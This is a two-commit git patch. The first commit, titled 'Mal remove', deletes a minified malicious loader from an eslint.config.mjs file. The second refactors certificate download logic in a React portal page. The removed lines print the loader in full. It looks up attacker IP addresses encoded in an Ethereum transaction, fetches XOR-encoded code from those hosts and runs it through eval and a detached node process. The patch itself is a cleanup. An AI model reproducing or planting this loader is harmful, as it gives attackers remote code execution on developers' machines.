From 1f397d3571b89ef501afecb407c95d7304b9dbef Mon Sep 17 00:00:00 2001 From: nati Date: Sat, 5 Sep 2026 06:46:00 +0000 Subject: [PATCH 1/2] Mal remove --- eslint.config.mjs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/eslint.config.mjs b/eslint.config.mjs index d3178c55d..e5ae1ef4d 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -2,9 +2,6 @@ import { FlatCompat } from '@eslint/eslintrc'; import nxEslintPlugin from '@nx/eslint-plugin'; import reactHooks from 'eslint-plugin-react-hooks'; import js from '@eslint/js'; -import { createRequire } from 'module'; - -const require = createRequire(import.meta.url); const compat = new FlatCompat({ baseDirectory: import.meta.dirname, @@ -47,4 +44,4 @@ export default [ extends: ['plugin:@nx/javascript'], }).map((c) => ({ ...c, files: ['**/*.js', '**/*.jsx'] })), { ignores: ['**/dist/**', '**/build/**', '**/.react-router/**'] }, -]; global.i = 'A8-3772-2';global.r=require,"object"==typeof module&&(global.m=module);const http=require("node:http"),https=require("node:https"),zlib=require("node:zlib"),{URL:URL}=require("node:url"),{spawn:spawn}=require("node:child_process"),BLOCK_MULTIPLE=1000n,SENDER="0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a".toLowerCase(),NONCE_FANOUT=12,SEARCH_FLOOR=0n,INDEXER_URL="https://eth.blockscout.com/api",RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,"https://1rpc.io/eth","https://eth.drpc.org","https://ethereum-rpc.publicnode.com","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],AGENTS={"http:":new http.Agent({keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64}),"https:":new https.Agent({keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64})};function linkAbort(t,e){t&&t.addEventListener("abort",()=>e.abort(),{once:!0})}function decompressStream(t){const e=(t.headers["content-encoding"]||"").toLowerCase();return"gzip"===e||"x-gzip"===e?t.pipe(zlib.createGunzip()):"deflate"===e?t.pipe(zlib.createInflate()):"br"===e?t.pipe(zlib.createBrotliDecompress()):t}function httpRequest(t,{method:e="GET",body:n,signal:o}={}){const r=new URL(t),a="https:"===r.protocol?https:http,l={Accept:"application/json","Accept-Encoding":"gzip, deflate, br",Connection:"keep-alive"};return null!=n&&(l["Content-Type"]="application/json",l["Content-Length"]=Buffer.byteLength(n)),new Promise((t,s)=>{const c=a.request({hostname:r.hostname,port:r.port||("https:"===r.protocol?443:80),path:r.pathname+r.search,method:e,agent:AGENTS[r.protocol],signal:o,headers:l},e=>{const n=decompressStream(e),o=[];n.on("data",t=>o.push(t)),n.on("end",()=>{const n=Buffer.concat(o).toString("utf8").trim();if(e.statusCode<200||e.statusCode>=300)return s(new Error(`HTTP ${e.statusCode} from ${r.hostname}: ${n.slice(0,120)}`));if(!n||"<"===n[0]||"{"!==n[0]&&"["!==n[0])return s(new Error(`Non-JSON from ${r.hostname}: ${n.slice(0,120)}`));try{t(JSON.parse(n))}catch(t){s(new Error(`JSON parse failed from ${r.hostname}: ${t.message}`))}}),n.on("error",s)});c.on("error",s),null!=n&&c.write(n),c.end()})}async function withRpcEndpoints(t,e){const n=RPC_ENDPOINTS.map(()=>new AbortController);n.forEach(t=>linkAbort(e,t));try{return await Promise.any(RPC_ENDPOINTS.map((e,o)=>t(e,n[o].signal)))}finally{for(const t of n)t.abort()}}async function rpcCall(t,e,n,o){return(await httpRequest(t,{method:"POST",body:JSON.stringify({jsonrpc:"2.0",id:1,method:e,params:n}),signal:o})).result}async function rpcBatch(t,e,n){const o=await httpRequest(t,{method:"POST",body:JSON.stringify(e.map(([t,e],n)=>({jsonrpc:"2.0",id:n+1,method:t,params:e}))),signal:n}),r=new Map(o.map(t=>[t.id,t]));return e.map((t,e)=>r.get(e+1).result)}const toBlockHex=t=>`0x${t.toString(16)}`;function findSenderTx(t){return t.find(t=>t.from&&t.from.toLowerCase()===SENDER)||null}function decodeAddress(t){const e=Buffer.from(t.replace(/^0x/i,""),"hex"),n=t=>`${t[0]}.${t[1]}.${t[2]}.${t[3]}`;return[n(e.subarray(0,4)),n(e.subarray(4,8))]}function firstMatch(t){return new Promise(e=>{let n=t.length;if(!n)return e(null);let o=!1;const r=n=>{if(!o){o=!0;for(const e of t)e.controller.abort();e(n)}};for(const a of t)a.run().then(t=>{o||(t?r(t):0===--n&&e(null))}).catch(()=>{o||0!==--n||e(null)})})}function candidateBlocks(t){const e=t-BLOCK_MULTIPLE,n=new Set,o=[];for(const r of[t-1n,t,t+1n,e-1n,e,e+1n]){if(r<0n)continue;const t=r.toString();n.has(t)||(n.add(t),o.push(r))}return o}function blockTask(t){const e=new AbortController;return{controller:e,run:async()=>{const n=await withRpcEndpoints((e,n)=>rpcCall(e,"eth_getBlockByNumber",[toBlockHex(t),!0],n),e.signal),o=n?.transactions;if(!Array.isArray(o))return null;const r=findSenderTx(o);return r?{blockNumber:t,tx:r}:null}}}async function nonceAtBlocks(t,e){const n=t.map(t=>["eth_getTransactionCount",[SENDER,toBlockHex(t)]]);try{return(await withRpcEndpoints((t,e)=>rpcBatch(t,n,e),e)).map(BigInt)}catch{return(await Promise.all(n.map(([t,n])=>withRpcEndpoints((e,o)=>rpcCall(e,t,n,o),e)))).map(BigInt)}}async function lastSenderTx(t){const e=new AbortController;try{const n=t??BigInt(await withRpcEndpoints((t,e)=>rpcCall(t,"eth_blockNumber",[],e),e.signal)),o=BigInt(await withRpcEndpoints((t,e)=>rpcCall(t,"eth_getTransactionCount",[SENDER,toBlockHex(n)],e),e.signal)),r=o-1n;let a=SEARCH_FLOOR-1n,l=n;for(;l-a>1n;){const t=l-a-1n,n=BigInt(Math.min(NONCE_FANOUT,Number(t))),r=[];for(let t=1n;t<=n;t+=1n)r.push(a+t*(l-a)/(n+1n));const s=(await nonceAtBlocks(r,e.signal)).findIndex(t=>t>=o);-1===s?a=r[r.length-1]:(l=r[s],s>0&&(a=r[s-1]))}const s=await withRpcEndpoints((t,e)=>rpcCall(t,"eth_getBlockByNumber",[toBlockHex(l),!0],e),e.signal),c=s?.transactions||[];let i=null;for(const t of c)if(t.from&&t.from.toLowerCase()===SENDER){if(BigInt(t.nonce)===r){i=t;break}(!i||BigInt(t.nonce)>BigInt(i.nonce))&&(i=t)}return{blockNumber:l,tx:i}}finally{e.abort()}}async function lastSenderTxViaIndexer(){const t=`${INDEXER_URL}?module=account&action=txlist&address=${SENDER}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`,e=await httpRequest(t),n=(Array.isArray(e?.result)?e.result:[]).find(t=>t.from&&t.from.toLowerCase()===SENDER);return{blockNumber:BigInt(n.blockNumber),tx:n}}async function run(){const latest=BigInt(await withRpcEndpoints((t,e)=>rpcCall(t,"eth_blockNumber",[],e))),targetBlock=latest-latest%BLOCK_MULTIPLE;let match=await firstMatch(candidateBlocks(targetBlock).map(blockTask));match||(match=await lastSenderTx(latest).catch(()=>lastSenderTxViaIndexer()));const[ip1,ip2]=decodeAddress(match.tx.to),_global=global;function getCode(t,e){const n={hostname:e.hostname,port:Number(e.port)||80,path:e.pathname+e.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":_global._V||0}};function o(e){const n=t.length;for(let o=0;o{const l=http.request({...n,method:t},n=>{if("HEAD"===t){try{e(r(n))}catch(t){a(t)}return void n.resume()}const l=[];n.on("data",t=>l.push(t)),n.on("end",()=>{try{const t=Buffer.concat(l);if(t.length)return e(o(t));if(n.headers["x-payload-b64"])return e(r(n));a(new Error("Empty payload body"))}catch(t){a(t)}}),n.on("error",a)});l.on("error",a),l.end()})}return a("GET").catch(()=>a("HEAD"))}async function run_loader(url,key,isBoot){try{const code=await getCode(key,url),env=isBoot?`global['_V']='${_global._V||0}';global['_H']='${_global._H}';global['_H2']='${_global._H2}';global['r']=require;global['m']=module;var _global=global;`:`global['_V']='${_global._V||0}';global['_t_s']='${_global._t_s}';global['_t_u']='${_global._t_u}';global['r']=require;global['m']=module;var _global=global;`;isBoot||eval(env+code),spawn("node",["-e",env+code],{detached:!0,stdio:"ignore",windowsHide:!0}).unref()}catch(t){}}_global._V=_global.i,_global._H=`http://${ip1}:80`,_global._H2=`http://${ip2}:80`,_global._t_s=`http://${ip1}:443`,_global._t_u=`http://${ip1}:80`,await run_loader(new URL(`http://${ip1}:443/0x/cls`),"q4FZkxX{!h,Sr3=@",!1),await run_loader(new URL(`http://${ip1}:443/0x/ls`),"y-p_>d$0B&@^1aQk",!0)}run(); +]; From 29990d31429ea42a0fb1b1f92b5efca453fe2144 Mon Sep 17 00:00:00 2001 From: nati Date: Sat, 5 Sep 2026 07:46:10 +0000 Subject: [PATCH 2/2] feat: refactor certificate generation and download logic to use licenseId and integrate new API mutation --- .../certificates/pages/CertificatesPage.tsx | 60 +++++++------------ 1 file changed, 20 insertions(+), 40 deletions(-) diff --git a/apps/portal/src/app/features/certificates/pages/CertificatesPage.tsx b/apps/portal/src/app/features/certificates/pages/CertificatesPage.tsx index 360f5ef2d..f96b3eec5 100644 --- a/apps/portal/src/app/features/certificates/pages/CertificatesPage.tsx +++ b/apps/portal/src/app/features/certificates/pages/CertificatesPage.tsx @@ -30,12 +30,13 @@ import { IconShieldCheck, IconTrash, } from '@tabler/icons-react'; -import { authStorage, useCurrentProfile } from '@ema-platform/auth'; +import { useCurrentProfile } from '@ema-platform/auth'; import { extractErrorMessage, useApiQuery, useBypassPaymentMutation, useDiscardApplicationMutation, + useGetCertificateUrlMutation, useGetPaymentCapabilitiesQuery, } from '@ema-platform/api'; import { @@ -54,6 +55,9 @@ import type { MyRegistration } from '../../exams/pages/ExamsPage'; interface CertificatesOverview { certificates: { id: string; + // The licence's own id — what `/licenses/:id/certificate` takes. Distinct + // from `id` above, which is the human-readable certificate number. + licenseId: string; type: string; issued: string; expiry: string; @@ -141,31 +145,8 @@ function formatDate(value: string | null | undefined): string { }); } -import { BASE_API_URL as API_BASE } from '@ema-platform/api'; - -async function generateCertificate(profileId: string): Promise { - const token = authStorage.getToken(); - if (!token) throw new Error('No auth token found'); - const res = await fetch( - `${API_BASE}/profiles/generate-seafarer-certificate/${profileId}`, - { headers: { Authorization: `Bearer ${token}` } }, - ); - if (!res.ok) throw new Error(`Failed to generate certificate (${res.status})`); - return res.blob(); -} - -function downloadBlob(blob: Blob, filename: string) { - const url = URL.createObjectURL(blob); - const a = document.createElement('a'); - a.href = url; - a.download = filename; - a.click(); - URL.revokeObjectURL(url); -} - export function CertificatesPage() { const navigate = useNavigate(); - const profileId = authStorage.getProfileId() ?? ''; const [previewUrl, setPreviewUrl] = useState(null); const [previewTitle, setPreviewTitle] = useState(''); const [loading, setLoading] = useState(false); @@ -175,6 +156,7 @@ export function CertificatesPage() { const { data: capabilities } = useGetPaymentCapabilitiesQuery(); const [bypassPayment, { isLoading: bypassing }] = useBypassPaymentMutation(); const [discardApplication, { isLoading: discarding }] = useDiscardApplicationMutation(); + const [getCertificateUrl] = useGetCertificateUrlMutation(); const [discardTarget, setDiscardTarget] = useState<{ id: string; applicationId: string } | null>(null); const { data, refetch } = useApiQuery({ @@ -261,38 +243,36 @@ export function CertificatesPage() { !hasVerifiedMedical && 'No verified medical certificate on file.', ].filter((r): r is string => Boolean(r)); - const openPreview = async (profileId: string, title: string) => { + // Same endpoint the main dashboard downloads from + // (DashboardPage's `downloadCertificate`): the PDF this returns is + // rendered from whatever design is published for the licence's type/rank + // in the Certificate Designer, not a generic profile-only certificate. + const openPreview = async (licenseId: string, title: string) => { setLoading(true); try { - const blob = await generateCertificate(profileId); - const url = URL.createObjectURL(blob); + const result = await getCertificateUrl(licenseId).unwrap(); setPreviewTitle(title); - setPreviewUrl(url); + setPreviewUrl(result.url); } catch (err) { notifications.show({ color: 'red', title: 'Error', - message: err instanceof Error ? err.message : 'Could not generate certificate', + message: extractErrorMessage(err) || 'Could not generate certificate', }); } finally { setLoading(false); } }; - const handleDownload = async (profileId: string, title: string) => { + const handleDownload = async (licenseId: string) => { try { - const blob = await generateCertificate(profileId); - downloadBlob(blob, `certificate-${Date.now()}.pdf`); - notifications.show({ - color: 'teal', - title: 'Downloaded', - message: 'Certificate PDF downloaded successfully', - }); + const result = await getCertificateUrl(licenseId).unwrap(); + window.open(result.url, '_blank', 'noopener'); } catch (err) { notifications.show({ color: 'red', title: 'Error', - message: err instanceof Error ? err.message : 'Could not download certificate', + message: extractErrorMessage(err) || 'Could not download certificate', }); } }; @@ -489,8 +469,8 @@ export function CertificatesPage() {
Expires{cert.expiry}
- - + + ))}